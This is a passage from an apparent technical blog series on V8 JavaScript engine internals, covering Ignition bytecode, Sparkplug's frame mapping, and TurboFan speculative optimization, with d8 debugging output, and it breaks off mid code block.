<p>As you can see, <code class="language-plaintext highlighter-rouge">dispatch_table_[index]</code> will calculate the index of the bytecode from the dispatch table which is stored in a physical register, and eventually this will initiate or finalize the <code class="language-plaintext highlighter-rouge">Dispatch()</code> function to execute the bytecode.</p>
<p>The bytecode array also contains something called a “<strong>Constant Pool Pointer</strong>” which stores heap objects that are referenced as constants in generated bytecode, such as strings and integers. The constant pool is a <code class="language-plaintext highlighter-rouge">FixedArray</code> of pointers to heap objects. An example of this <code class="language-plaintext highlighter-rouge">BytecodeArray</code> pointer and its constant pool of heap objects can be seen below.</p>
<p align="center"><a href="/images/Ignition-BytecodeArray.png"><img src="/images/Ignition-BytecodeArray.png" /></a></p>
<p>One more thing I want to mention before we continue, is that the <code class="language-plaintext highlighter-rouge">InterpreterEntryTrampoline</code> stub has some fixed machine registers that are used by Ignition. These registers are located within the <a href="https://source.chromium.org/chromium/chromium/src/+/main:v8/src/codegen/x64/register-x64.h;l=254"><code class="language-plaintext highlighter-rouge">v8/src/codegen/x64/register-x64.h</code></a> file.</p>
<p>A sample of these registers can be seen below, and comments are added to the ones of interest.</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Define {RegisterName} methods for the register types.</span>
<span class="n">DEFINE_REGISTER_NAMES</span><span class="p">(</span><span class="n">Register</span><span class="p">,</span> <span class="n">GENERAL_REGISTERS</span><span class="p">)</span>
<span class="n">DEFINE_REGISTER_NAMES</span><span class="p">(</span><span class="n">XMMRegister</span><span class="p">,</span> <span class="n">DOUBLE_REGISTERS</span><span class="p">)</span>
<span class="n">DEFINE_REGISTER_NAMES</span><span class="p">(</span><span class="n">YMMRegister</span><span class="p">,</span> <span class="n">YMM_REGISTERS</span><span class="p">)</span>
<span class="c1">// Give alias names to registers for calling conventions.</span>
<span class="k">constexpr</span> <span class="n">Register</span> <span class="n">kReturnRegister0</span> <span class="o">=</span> <span class="n">rax</span><span class="p">;</span>
<span class="k">constexpr</span> <span class="n">Register</span> <span class="n">kReturnRegister1</span> <span class="o">=</span> <span class="n">rdx</span><span class="p">;</span>
<span class="k">constexpr</span> <span class="n">Register</span> <span class="n">kReturnRegister2</span> <span class="o">=</span> <span class="n">r8</span><span class="p">;</span>
<span class="k">constexpr</span> <span class="n">Register</span> <span class="n">kJSFunctionRegister</span> <span class="o">=</span> <span class="n">rdi</span><span class="p">;</span>
<span class="c1">// Points to the current context object</span>
<span class="k">constexpr</span> <span class="n">Register</span> <span class="n">kContextRegister</span> <span class="o">=</span> <span class="n">rsi</span><span class="p">;</span>
<span class="k">constexpr</span> <span class="n">Register</span> <span class="n">kAllocateSizeRegister</span> <span class="o">=</span> <span class="n">rdx</span><span class="p">;</span>
<span class="c1">// Stores the implicit accumulator interpreter register</span>
<span class="k">constexpr</span> <span class="n">Register</span> <span class="n">kInterpreterAccumulatorRegister</span> <span class="o">=</span> <span class="n">rax</span><span class="p">;</span>
<span class="c1">// The current offset of execution in the BytecodeArray</span>
<span class="k">constexpr</span> <span class="n">Register</span> <span class="n">kInterpreterBytecodeOffsetRegister</span> <span class="o">=</span> <span class="n">r9</span><span class="p">;</span>
<span class="c1">// Points the the start of the BytecodeArray object which is being interpreted</span>
<span class="k">constexpr</span> <span class="n">Register</span> <span class="n">kInterpreterBytecodeArrayRegister</span> <span class="o">=</span> <span class="n">r12</span><span class="p">;</span>
<span class="c1">// Points to the interpreter’s dispatch table, used to dispatch to the next bytecode handler</span>
<span class="k">constexpr</span> <span class="n">Register</span> <span class="n">kInterpreterDispatchTableRegister</span> <span class="o">=</span> <span class="n">r15</span><span class="p">;</span>
</code></pre></div></div>
<p>Now that we understand this, it’s time to dig into how V8 bytecode looks like and how the bytecode operand interacts with register file.</p>
<h2 id="understanding-v8s-bytecode">Understanding V8’s Bytecode</h2>
<p>As stated in Part 1, there are several hundred bytecodes within V8, and they are all defined within the <a href="https://source.chromium.org/chromium/chromium/src/+/main:v8/src/interpreter/bytecodes.h"><code class="language-plaintext highlighter-rouge">v8/src/interpreter/bytecodes.h</code></a> header file. As we’ll see in a minute, each of these bytecodes specifies it’s input and output operands as registers to the register file. Additionally, many of the opcodes start with <code class="language-plaintext highlighter-rouge">Lda</code> or <code class="language-plaintext highlighter-rouge">Sta</code>, in the name, where the <code class="language-plaintext highlighter-rouge">a</code> stands for <strong>accumulator</strong>.</p>
<p>For example, let’s follow the bytecode definition for <code class="language-plaintext highlighter-rouge">LdaSmi</code>:</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">V</span><span class="p">(</span><span class="n">LdaSmi</span><span class="p">,</span> <span class="n">ImplicitRegisterUse</span><span class="o">::</span><span class="n">kWriteAccumulator</span><span class="p">,</span> <span class="n">OperandType</span><span class="o">::</span><span class="n">kImm</span><span class="p">)</span>
</code></pre></div></div>
<p>As you can see the <code class="language-plaintext highlighter-rouge">LdaSmi</code> will “Load” (hence the <code class="language-plaintext highlighter-rouge">Ld</code>) a value into the accumulator register. In this case it will load a <code class="language-plaintext highlighter-rouge">kImm</code> operand which is a signed byte, which coincides with the <code class="language-plaintext highlighter-rouge">Smi</code> or Small Integer in they bytecode name. In summary, this bytecode will load a small integer into the accumulator register.</p>
<p>Do note, that a list of operands and their types are defined within the <a href="https://source.chromium.org/chromium/chromium/src/+/main:v8/src/interpreter/bytecode-operands.h"><code class="language-plaintext highlighter-rouge">v8/src/interpreter/bytecode-operands.h</code></a> header file.</p>
<p>So, with that basic information, let’s take a look at some bytecode of an actual JavaScript function. To start, let’s launch <code class="language-plaintext highlighter-rouge">d8</code> with the <code class="language-plaintext highlighter-rouge">--print-bytecode</code> flag so we can see the bytecode. Once that’s done, just enter some random JavaScript code and press enter a few times. Reason for this is because V8 is a “lazy” engine, so it won’t compile stuff it doesn’t need. But because we are using strings, and numbers for the first time, it’s going to compile libraries like <code class="language-plaintext highlighter-rouge">Stringify</code>, which results in a massive amount of output at first.</p>
<p>Once done, let’s create a simple JavaScript function called <code class="language-plaintext highlighter-rouge">incX</code> which will increment an object’s property of <code class="language-plaintext highlighter-rouge">x</code> by one, and return it to us. The function should look like so.</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nx">incX</span><span class="p">(</span><span class="nx">obj</span><span class="p">)</span> <span class="p">{</span> <span class="k">return</span> <span class="mi">1</span> <span class="o">+</span> <span class="nx">obj</span><span class="p">.</span><span class="nx">x</span><span class="p">;</span> <span class="p">}</span>
</code></pre></div></div>
<p>This will generate some bytecode, but let’s not worry about it. Now that we have that, let’s call that function with an object that has a value assigned to property x, and view the bytecode generated.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>d8> incX({x:13});
...
[generated bytecode for function: incX (0x026c0025ab65 <SharedFunctionInfo incX>)]
Bytecode length: 11
Parameter count 2
Register count 1
Frame size 8
Bytecode age: 0
0000026C0025ACC6 @ 0 : 0d 01 LdaSmi [1]
0000026C0025ACC8 @ 2 : c5 Star0
0000026C0025ACC9 @ 3 : 2d 03 00 01 GetNamedProperty a0, [0], [1]
0000026C0025ACCD @ 7 : 39 fa 00 Add r0, [0]
0000026C0025ACD0 @ 10 : aa Return
Constant pool (size = 1)
0000026C0025AC99: [FixedArray] in OldSpace
- map: 0x026c00002231 <Map(FIXED_ARRAY_TYPE)>
- length: 1
0: 0x026c000041ed <String[1]: #x>
Handler Table (size = 0)
Source Position Table (size = 0)
14
</code></pre></div></div>
<p>We’ll ignore most of the output and just focus on the bytecode section. But before we do, take note that this bytecode is in the <code class="language-plaintext highlighter-rouge">SharedFunctionInfo</code> object, which coincides with our explanation before! To start we see that <code class="language-plaintext highlighter-rouge">LdaSmi</code> is called to load a small integer into the accumulator register, which will be a value of 1.</p>
<p>Next, we call <code class="language-plaintext highlighter-rouge">Star0</code> which will store (hence the <code class="language-plaintext highlighter-rouge">st</code>) the value in the accumulator (as per the <code class="language-plaintext highlighter-rouge">a</code>) in register <code class="language-plaintext highlighter-rouge">r0</code>. So in this case we move 1 to <code class="language-plaintext highlighter-rouge">r0</code>.</p>
<p>The <code class="language-plaintext highlighter-rouge">GetNameProperty</code> bytecode gets a named property from <code class="language-plaintext highlighter-rouge">a0</code> and stores it in the accumulator, which will be the value of 13. The <code class="language-plaintext highlighter-rouge">a0</code> refers to the <em>i-th</em> argument of the function. So if we passed in, <code class="language-plaintext highlighter-rouge">a,b,x</code>, and we wanted to load <code class="language-plaintext highlighter-rouge">x</code>, the bytecode operand would state <code class="language-plaintext highlighter-rouge">a2</code> as we are the 2nd argument within the function (remember this is an array of arguments). In this case <code class="language-plaintext highlighter-rouge">a0</code> will look up the named property in the table to where the index <code class="language-plaintext highlighter-rouge">0</code> maps to <code class="language-plaintext highlighter-rouge">x</code>.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> - length: 1
0: 0x026c000041ed <String[1]: #x>
</code></pre></div></div>
<p>In short, this is the bytecode that loads <code class="language-plaintext highlighter-rouge">obj.x</code>. The other <code class="language-plaintext highlighter-rouge">[0]</code> operand is known as a <strong>feedback vector</strong> which contains runtime information and object shape data that is used for optimization by TurboFan.</p>
<p>Next, we <code class="language-plaintext highlighter-rouge">Add</code> the value in register <code class="language-plaintext highlighter-rouge">r0</code> to the accumulator, resulting in the value of 14. Finally, we call <code class="language-plaintext highlighter-rouge">Return</code> which returns the value of the accumulator, and we exit the function.</p>
<p>In order to help you visualize this on the stack frame, I have provided a GIF of what happens on a simplified stack with each bytecode instruction.</p>
<p align="center"><a href="/images/Ignition-BytecodeExample.gif"><img src="/images/Ignition-BytecodeExample.gif" /></a></p>
<p>As you can see, while the bytecodes are a little cryptic, once we get the hang of what each one does, it’s pretty easy to understand and follow along. If you want to learn more about V8’s bytecode, I suggest reading “<a href="https://www.alibabacloud.com/blog/javascript-bytecode-v8-ignition-instructions_599188">JavaScript Bytecode – v8 Ignition Instructions</a>” which covers a good chunk of different operations.</p>
<h1 id="sparkplug">Sparkplug</h1>
<p>Now that we have a decent understanding of how Ignition generates and executes your JavaScript code as bytecode, it’s time we start looking into V8’s compilation portion of the compiler pipeline. We’ll start with <a href="https://v8.dev/blog/sparkplug">Sparkplug</a> because it’s rather easy to understand as it only does a small modification to the already generated bytecode and stack for optimization purposes.</p>
<p>As we know from Part 1, Sparkplug is V8’s very-fast non-optimizing compiler which sits in between Ignition and TurboFan. In essence, Sparkplug isn’t really a compiler but more of a <a href="https://en.wikipedia.org/wiki/Source-to-source_compiler">transpiler</a> which converts Ignitions bytecode into machine code to run it natively. Also, it’s a non-optimizing compiler, so it doesn’t do very specific optimizations since TurboFan will do that.</p>
<p>So, what makes Sparkplug so fast? Well, Sparkplug is fast because it cheats. The functions that it compiles have already been compiled down to bytecode, and as we know it, Ignition already has done the hard work of variable resolution, control flow, etc. In this case, Sparkplug compiles from the bytecode rather than from JavaScript source.</p>
<p>Second of all, Sparkplug doesn’t produce any intermediate representation (IR) like most compilers do (which we’ll learn about later). In this case, Sparkplug compiles directly to machine code in a single linear pass over the bytecode. This in general is known as <em>1:1</em> mapping.</p>
<p>The funny thing is that Sparkplug is pretty much just a <code class="language-plaintext highlighter-rouge">switch</code> statement inside a <code class="language-plaintext highlighter-rouge">for</code> loop which dispatches to fixed bytecode and then generates the machine code. We can see this implementation within the <a href="https://source.chromium.org/chromium/chromium/src/+/main:v8/src/baseline/baseline-compiler.cc"><code class="language-plaintext highlighter-rouge">v8/src/baseline/baseline-compiler.cc</code></a> source file.</p>
<p>An example of Sparkplug’s machine code generation function can be seen below.</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">switch</span> <span class="p">(</span><span class="n">iterator</span><span class="p">().</span><span class="n">current_bytecode</span><span class="p">())</span> <span class="p">{</span>
<span class="cp">#define BYTECODE_CASE(name, ...) \
case interpreter::Bytecode::k##name: \
Visit##name(); \
break;
</span> <span class="n">BYTECODE_LIST</span><span class="p">(</span><span class="n">BYTECODE_CASE</span><span class="p">)</span>
<span class="cp">#undef BYTECODE_CASE
</span> <span class="p">}</span>
</code></pre></div></div>
<p>So how does Sparkplug generate this machine code? Well, it does so by cheating again, of course. Sparkplug generates very little code of its own, instead Sparkplug just calls the bytecode builtins that are usually entered by the <code class="language-plaintext highlighter-rouge">InterpreterEntryTrampoline</code> and then handled within <a href="https://source.chromium.org/chromium/chromium/src/+/main:v8/src/builtins/x64/builtins-x64.cc"><code class="language-plaintext highlighter-rouge">v8/src/builtins/x64/builtins-x64.cc</code></a>.</p>
<p>If you remember back to our <code class="language-plaintext highlighter-rouge">JSFunction</code> object during our talk about Ignition, you’ll remember that the closure linked to “optimized code”. In essence, Sparkplug will store the bytecode’s builtin there, and when the function gets executed, instead of dispatching to the bytecode, we call the builtin directly.</p>
<p>At this point you might be thinking that Sparkplug is essentially a glorified interpreter, and you wouldn’t be wrong. Sparkplug pretty much just serializes the interpreter’s execution by calling the same builtins. But this allows for the JavaScript function to be faster, because by doing this we can avoid the interpreter overheads like opcode decoding and bytecode dispatching lookups - allowing us to scale back CPU usage by moving from an emulation engine to native execution.</p>
<p>To learn a little bit more about how these builtins work, I suggest reading “<a href="https://v8.dev/blog/short-builtin-calls">Short Builtin Calls</a>”.</p>
<h2 id="11-mapping">1:1 Mapping</h2>
<p>Sparkplug’s <em>1:1</em> mapping doesn’t just relate to how it compiles Ignition’s bytecode down to its machine code variant; it’s also related to stack frames as well. As we know, each portion of the compiler pipeline needs to store function state. And as we’ve seen already in V8, JavaScript function states are stored in Ignition’s stack frames by storing the current function being called, the context it is being called with, the number of arguments that were passed, a pointer to the bytecode array, and so on and so forth.</p>
<p>Now, as we know, Ignition is a register-based interpreter which has virtual registers that are used for function arguments and as inputs and outputs for bytecode operands. For Sparkplug to be fast and to avoid having to do any register allocation of its own, it reuses Ignitions register frames which in turn allows Sparkplug to mirror the interpreter’s behavior and stack as well. This allows Sparkplug to not need any sort of mapping between the two frames - making these stack frames almost <em>1:1</em> compatible.</p>
<p>Do note that I say “almost <em>1:1</em> compatible”, there is one small difference between the Ignition and Sparkplug stack frames. And that difference is that Sparkplug doesn’t need to keep the bytecode offset slot in the register file since Sparkplug code is emitted directly from the bytecode. Instead, it replaces it with the cached feedback vector.</p>
<p>An example of how these two stack frames compare can be seen in the image below - as provided by the Ignition Documentation.</p>
<p align="center"><a href="/images/1-1Frames.png"><img src="/images/1-1Frames.png" /></a></p>
<p>So why does Sparkplug need to creates and maintains a stack frame layout that’s similar to Ignitions? For one reason, and for the main reason of how Sparkplug and Turbofan work, by doing something called <a href="https://wingolog.org/archives/2011/06/20/on-stack-replacement-in-v8">on-stack replacement (OSR)</a>. OSR is the ability to replace currently executing code with a different version. In this case, when Ignition sees that a JavaScript function is used a lot, it will send it to Sparkplug to speed it up.</p>
<p>Once Sparkplug serializes the bytecodes to their builtins, it will replace the Interpreters stack frame for that specific function. When the stack is walked and executed, the code will jump directly into Sparkplug instead of being executed on Ignitions emulated stack. And since the frames are “mirrored”, this technically allows V8 to swap between the interpreter and Sparkplug code with almost zero frame translation overhead.</p>
<p>Before we move on, I just want to point out the security aspect of Sparkplug. In general, there is unlikely to be a security issue in the generated code itself. The bigger security risk with Sparkplug is with how the layout of Ignitions stack frames are interpreted, which can lead to a type confusion or code execution on the stack.</p>
<p>One example of this would be <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=1179595">Issue 1179595</a> which was a potential RCE due to an invalid register count check. There also is a concern in the way Sparkplug does RX/WX bit flipping - but I won’t go into detail as that’s really not important and such bugs don’t play an important role in this overall series.</p>
<p>Okay, so we understand how Ignition and Sparkplug works. Now, it’s time to dive deeper into the compiler pipeline and into understanding the optimizing compiler, TurboFan.</p>
<h1 id="turbofan">TurboFan</h1>
<p>TurboFan is V8’s Just-In-Time (JIT) compiler that combines an interesting immediate representation concept known as the “Sea of Nodes” with a multi-layered translation and optimization pipeline that helps TurboFan generate better quality machine code from bytecode. To those who were paying attention by reading the code and documentation along the way, you’d know that TurboFan is much more than just a compiler.</p>
<p>TurboFan is actually responsible for the interpreter’s bytecode handlers, builtins, code stubs, and inline cache system via it’s <a href="https://source.chromium.org/chromium/chromium/src/+/main:v8/src/codegen/macro-assembler.h">macro assembler</a>! So when I say that TurboFan is the most important part of the compiler pipeline, I wouldn’t be kidding.</p>
<p>So, how do these optimizing compilers, like TurboFan work?</p>
<p>Well optimizing compilers work via something called a “<a href="https://source.chromium.org/chromium/chromium/src/+/main:base/profiler/">profiler</a>” - which we briefly mentioned in Part 1. In essence, this profiler works ahead of time by watching for code that should be optimized (we refer to this code or JavaScript function as being “<strong>hot</strong>”). It does this by collecting metadata and “samples” from JavaScript functions and the stack by looking at the information collected by <a href="https://mathiasbynens.be/notes/shapes-ics">inline caches</a> and the feedback vector.</p>
<p>The compiler then builds an intermediate representation (IR) data structure which is used to produce optimized code. This whole process of watching the code and then compiling machine code is called Just-in-Time or JIT compilation.</p>
<h2 id="just-in-time-compilation-jit">Just-In-Time Compilation (JIT)</h2>
<p>As we know, the execution of bytecode in the interpreter VM is slower than assembly execution on the native machine. Reason for this is because JavaScript is dynamic and there is a lot of overhead for property lookups, checking of objects, values, etc. and we’re also running on an emulated stack.</p>
<p>Of course, Maps and Incline Caching (IC) help solve some of these overheads by speeding up dynamic lookup of properties, objects, and values - but they still can’t deliver peak performance. The reason for that is because each IC acts on its own, and it has no knowledge or concept about its neighbors.</p>
<p>Take Maps for example, if we add a property to a known shape, we still have to follow the transitions table and look up or add additional shapes. If we have to do this many times over and over again for a specific function or object, even with a known shape, we’re pretty much wasting computational cycles by doing this time and time again.</p>
<p>So, when there is a JavaScript function that is executed a lot of times, it might be worth spending the time to pass the function into the compiler and compile it down to machine code, allowing it to be executed much faster.</p>
<p>For example, let’s take this code:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nx">hot_function</span><span class="p">(</span><span class="nx">obj</span><span class="p">)</span> <span class="p">{</span>
<span class="k">return</span> <span class="nx">obj</span><span class="p">.</span><span class="nx">x</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o"><</span> <span class="mi">10000</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">hot_function</span><span class="p">({</span><span class="na">x</span><span class="p">:</span><span class="nx">i</span><span class="p">});</span>
<span class="p">}</span>
</code></pre></div></div>
<p>The <code class="language-plaintext highlighter-rouge">hot_function</code> simply takes in an object and returns the value of property <code class="language-plaintext highlighter-rouge">x</code>. Next, we execute that function approximately 10k times and for each object we just pass a new integer for property <code class="language-plaintext highlighter-rouge">x</code>. In this case, because the function is used a lot of times and the general shape of the object doesn’t change, V8 might decide that it’s better to just pass it up the pipeline (known as a “tier-up”) for compilation so that it’s executed faster.</p>
<p>We can see this in actions within <code class="language-plaintext highlighter-rouge">d8</code> by tracing the optimization with the <code class="language-plaintext highlighter-rouge">--trace-opt</code> flag. So, let’s do just that, and also, tack on the <code class="language-plaintext highlighter-rouge">--allow-natives-syntax</code> command so we can explore how the functions code looks like before and after optimization.</p>
<p>We’ll start by launching <code class="language-plaintext highlighter-rouge">d8</code> and then setting up our function. Afterwards, use the <code class="language-plaintext highlighter-rouge">%DisassembleFunction</code> against <code class="language-plaintext highlighter-rouge">hot_function</code> to see its type. You should get something similar.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>d8> function hot_function(obj) {return obj.x;}
d8> %DisassembleFunction(hot_function)
0000027B0020B31D: [CodeDataContainer] in OldSpace
- map: 0x027b00002a71 <Map[32](CODE_DATA_CONTAINER_TYPE)>
- kind: BUILTIN
- builtin: InterpreterEntryTrampoline
- is_off_heap_trampoline: 1
- code: 0
- code_entry_point: 00007FFCFF5875C0
- kind_specific_flags: 0
</code></pre></div></div>
<p>As you can see, initially this code object will be executed by Ignition since it’s a <code class="language-plaintext highlighter-rouge">BUILTIN</code> and will be handled by the <code class="language-plaintext highlighter-rouge">InterpreterEntryTrampoline</code> as we know. Now, if we execute this function 10k times, we will see it be optimized by TurboFan.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>d8> for (let i=0; i < 10000; i++) {hot_function({x:i});}
[marking 0x027b0025aa4d <JSFunction (sfi = 0000027B0025A979)> for optimization to TURBOFAN, ConcurrencyMode::kConcurrent, reason: small function]
[compiling method 0x027b0025aa4d <JSFunction (sfi = 0000027B0025A979)> (target TURBOFAN) OSR, mode: ConcurrencyMode::kConcurrent]
[completed compiling 0x027b0025aa4d <JSFunction (sfi = 0000027B0025A979)> (target TURBOFAN) OSR - took 1.691, 81.595, 2.983 ms]
[completed optimizing 0x027b0025aa4d <JSFunction (sfi = 0000027B0025A979)> (target TURBOFAN) OSR]
9999
</code></pre></div></div>
<p>As you can see, TurboFan kicks in and starts compiling the function for optimization. Take note of a few key points in the optimization trace. As you can see in line one of the opt trace, we are marking the <code class="language-plaintext highlighter-rouge">JSFunction</code>’s <code class="language-plaintext highlighter-rouge">SFI</code> or <code class="language-plaintext highlighter-rouge">SharedFunctionInfo</code> for optimization.</p>
<p>If you remember back to our Ignition deep dive, you’ll remember that the SFI contains the bytecode for our function. TurboFan will use that bytecode to generate IR and then optimize it down to machine code.</p>
<p>Now, if you look further down, you’ll see a mention of <code class="language-plaintext highlighter-rouge">OSR</code> or on-stack replacement. Pretty much TurboFan does the same thing Sparkplug does when it optimizes bytecode. It will replace the stack frame with a real JIT or system stack frame that will point to the optimized code during runtime. This allows the function to go directly to the optimized code the next time it is called, versus being executed within Ignitions emulated stack.</p>
<p>If we run <code class="language-plaintext highlighter-rouge">%DisassembleFunction</code> against our <code class="language-plaintext highlighter-rouge">hot_function</code> again, we should see that it is now optimized and the code entry point in the <code class="language-plaintext highlighter-rouge">SharedFunctionInfo</code> will point to optimized machine code.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>d8> %DisassembleFunction(hot_function)
0000027B0025B2B5: [CodeDataContainer] in OldSpace
- map: 0x027b00002a71 <Map[32](CODE_DATA_CONTAINER_TYPE)>
- kind: TURBOFAN
- is_off_heap_trampoline: 0
- code: 0x7ffce0004241 <Code TURBOFAN>
- code_entry_point: 00007FFCE0004280
- kind_specific_flags: 4
</code></pre></div></div>
<p>To those with a keen eye, you might have noticed something interesting when we traced the optimization of our function. If you paid close attention, you would have noticed that TurboFan didn’t kick in right away, but after a few seconds - or after a few thousand iterations of the loop. Why is that?</p>
<p>The reason this happens is because TurboFan waits for the code to “warm up”. If you remember back to our discussion about Ignition and Sparkplug, we briefly mentioned the <a href="https://source.chromium.org/chromium/chromium/src/+/main:v8/src/objects/feedback-vector.h">feedback vector</a>. This vector stores the object runtime data along with information from the inline caches and collects what is known as <strong>type feedback</strong>.</p>
<p>This is critical for TurboFan because as we know, JavaScript is dynamic and there is no way for us to store static type information. Second of all, we don’t know the type of a value till runtime. The JIT compiler actually has to make <strong>educated guesses</strong> about the usage and behavior of the code it’s compiling, such as what your function type is, the type of variables that are being passed in, etc. In essence the compiler makes a lot of assumptions or “<strong>speculations</strong>”.</p>
<p>This is why optimizing compilers look at the information collected by incline caches and use the feedback vector to help make informed decisions on what it needs to do with the code to make it fast. This is known as Speculative Optimization.</p>
<h2 id="speculative-optimization-and-type-guards">Speculative Optimization and Type Guards</h2>
<p>So how does speculative optimization help us turn our JavaScript code into highly optimized machine code? Well to help explain that, let’s start with an example.</p>
<p>Let’s say we have a simple evaluation for a function called <code class="language-plaintext highlighter-rouge">add</code>, such as <code class="language-plaintext highlighter-rouge">return 1 + i</code>. Here we are returning a value by adding <code class="language-plaintext highlighter-rouge">1</code> to <code class="language-plaintext highlighter-rouge">i</code>. Without knowing what type <code class="language-plaintext highlighter-rouge">i</code> is, we need to follow the ECMAScript standard implementation for the runtime semantic of <a href="https://tc39.es/ecma262/#sec-evaluatestringornumericbinaryexpression">EvaluateStringOrNumericBinaryExpression</a>.</p>
<p align="center"><a href="/images/ECAMScript-Addition-1.png"><img src="/images/ECAMScript-Addition-1.png" /></a></p>
<p>As you can see, once we evaluate the left and right references, and call <a href="https://tc39.es/ecma262/#sec-getvalue">GetValue</a> on both the left and right values of our operand, we then need to follow the ECMAScript standard to <a href="https://tc39.es/ecma262/#sec-applystringornumericbinaryoperator">ApplyStringOrNumericBinaryOperator</a> so we can return our value.</p>
<p align="center"><a href="/images/ECAMScript-Addition-2.png"><img src="/images/ECAMScript-Addition-2.png" /></a></p>
<p>If it’s not already obvious to you, without knowing the type of variable <code class="language-plaintext highlighter-rouge">i</code> is, be it an integer or string, there is no way we can implement this whole evaluation in just a few machine instructions, and nonetheless have it be fast.</p>
<p>This is where the speculative optimization comes in, where TurboFan will rely on the feedback vector to make its assumptions about the possible types that <code class="language-plaintext highlighter-rouge">i</code> is.</p>
<p>For example, if after a few hundred runs we look at the feedback vector for the <code class="language-plaintext highlighter-rouge">Add</code> bytecode, and know that <code class="language-plaintext highlighter-rouge">i</code> is a number, then we don’t have to handle the <a href="https://tc39.es/ecma262/#sec-tostring">ToString</a> or even the <a href="https://tc39.es/ecma262/#sec-toprimitive">ToPrimitive</a> evaluations. In that case, the optimizer can take an IR instruction and claim that <code class="language-plaintext highlighter-rouge">i</code> and the return value are just numbers and load it as such. Which minimizes the amount of machine instructions we need to generate.</p>
<p>So how do these feedback vectors look like in the case of our function?</p>
<p>Well, If you remember back to the mention of the <code class="language-plaintext highlighter-rouge">JSFunction</code> object or closure, you’ll remember that the closure linked us to the feedback vector slot as well as the <code class="language-plaintext highlighter-rouge">SharedFunctionInfo</code>. Within the feedback vector, there is an interesting slot called the <a href="https://source.chromium.org/chromium/chromium/src/+/main:v8/src/objects/feedback-vector.h;l=62"><code class="language-plaintext highlighter-rouge">BinaryOp</code></a> slot, which records feedback about the inputs and outputs of binary operations such as <code class="language-plaintext highlighter-rouge">+</code>, <code class="language-plaintext highlighter-rouge">-</code>, <code class="language-plaintext highlighter-rouge">*</code>, etc.</p>
<p>We can check what’s inside our feedback vector and see this specific slot by running <code class="language-plaintext highlighter-rouge">%DebugPrint</code> against our <code class="language-plaintext highlighter-rouge">add</code> function. Your output should be similar to mines.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>d8> function add(i) {return 1 + i;}
d8> for (let i=0; i<100; i++) {add(i);}
d8> %DebugPrint(add)
DebugPrint: 0000019A002596F1: [Function] in OldSpace
- map: 0x019a00243fa1 <Map[32](HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x019a00243ec9 <JSFunction (sfi = 0000019A0020AA45)>
- elements: 0x019a00002259 <FixedArray[0]> [HOLEY_ELEMENTS]
- function prototype:
- initial_map:
- shared_info: 0x019a0025962d <SharedFunctionInfo add>
- name: 0x019a00005809 <String[3]: #add>
- builtin: InterpreterEntryTrampoline
- formal_parameter_count: 1
- kind: NormalFunction
- context: 0x019a00243881 <NativeContext[273]>
- code: 0x019a0020b31d <CodeDataContainer BUILTIN InterpreterEntryTrampoline>
- interpreted
- bytecode: 0x019a0025a89d <BytecodeArray[9]>
- source code: (i) {return 1 + i;}
- properties: 0x019a00002259 <FixedArray[0]>
...
- feedback vector: 0000019A0025B759: [FeedbackVector] in OldSpace
- map: 0x019a0000273d <Map(FEEDBACK_VECTOR_TYPE)>
- length: 1
- shared function info: 0x019a0025962d <SharedFunctionInfo add>
- no optimized code
- tiering state: TieringState::kNone
- maybe has maglev code: 0
- maybe has turbofan code: 0
- invocation count: 97
- profiler ticks: 0
- closure feedback cell array: 0000019A00003511: [ClosureFeedbackCellArray] in ReadOnlySpace
- map: 0x019a00002981 <Map(CLOSURE_FEEDBACK_CELL_ARRAY_TYPE)>
- length: 0
- slot #0 BinaryOp BinaryOp:SignedSmall {
[0]: 1
}
...
</code></pre></div></div>
<p>There are a few interesting items in here. Invocation count shows us the number of times we ran the <code class="language-plaintext highlighter-rouge">add</code> function, and if we look into our feedback vector, you’ll see that we have exactly one slot, which is the <code class="language-plaintext highlighter-rouge">BinaryOp</code> that we talked about. Looking into that slot we see that it contains the current feedback type of <code class="language-plaintext highlighter-rouge">SignedSmall</code> which in essence refers to an SMI.</p>
<p>Remember, this feedback information is not interpreted by V8 but by TurboFan, and as we know, an SMI is a signed 32bit value as we explained during the pointer tagging portion in Part 1 of this series.</p>
<p>Overall, these speculations via feedback vectors are great in helping speed up our code by removing unnecessary machine instructions for different types. Unfortunately, it’s pretty unsafe to just apply instructions solely focused around one type to dynamic objects.</p>
<p>So, what happens if halfway during the optimized function we pass in a string instead of a number? In essence, if this was to happen then we would have a type confusion vulnerability on our hands. To protect against potentially wrong assumptions, TurboFan prepends something known as a <strong>type guard</strong> before execution of specific instructions.</p>
<p>This type guard checks to make sure that the shape of the object we are passing in is the correct type. This is done before the object reaches our optimized operations. If the object does not match the expected shape, then the execution of the optimized code <strong>can’t continue</strong>. In that case, we will “bail out” of the assembly code, and jump back to the unoptimized bytecode within the interpreter and continue execution there. This is known as “<strong>deoptimization</strong>”.</p>
<p>An example of a type guard and jump to deoptimization in the optimized assembly code can be seen below.</p>
<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">REX.W</span> <span class="nv">movq</span> <span class="nb">rcx</span><span class="p">,[</span><span class="nb">rbp</span><span class="o">-</span><span class="mh">0x38</span><span class="p">]</span> <span class="c1">; Move i to rcx</span>
